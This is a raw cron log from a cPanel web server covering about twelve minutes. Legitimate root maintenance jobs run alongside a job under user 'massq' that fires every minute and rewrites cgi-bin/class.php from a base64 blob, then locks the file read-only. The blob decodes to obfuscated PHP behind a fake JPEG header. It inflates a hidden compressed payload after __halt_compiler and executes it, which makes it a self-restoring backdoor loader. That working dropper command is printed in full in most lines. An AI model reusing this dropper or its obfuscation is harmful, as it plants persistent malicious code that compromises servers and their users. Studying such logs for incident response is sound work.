Nov  9 14:58:01 server CROND[6127]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 14:59:01 server CROND[6942]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:00:01 server CROND[7791]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:00:01 server CROND[7793]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:00:01 server CROND[7795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 15:00:01 server CROND[7794]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:01:01 server CROND[8568]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:01:01 server CROND[8569]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 15:01:01 server run-parts(/etc/cron.hourly)[8569]: starting 0anacron
Nov  9 15:01:01 server run-parts(/etc/cron.hourly)[8584]: finished 0anacron
Nov  9 15:02:01 server CROND[9570]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:03:02 server CROND[10391]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:04:01 server CROND[11223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:05:01 server CROND[11664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:05:01 server CROND[11665]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:05:01 server CROND[11668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:05:01 server CROND[11670]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 15:06:01 server CROND[12648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:07:01 server CROND[13457]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:08:01 server CROND[14284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:09:01 server CROND[15092]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 15:09:01 server CROND[15093]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:10:01 server CROND[15920]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 15:10:01 server CROND[15924]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 15:10:01 server CROND[15922]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 15:10:01 server CROND[15923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
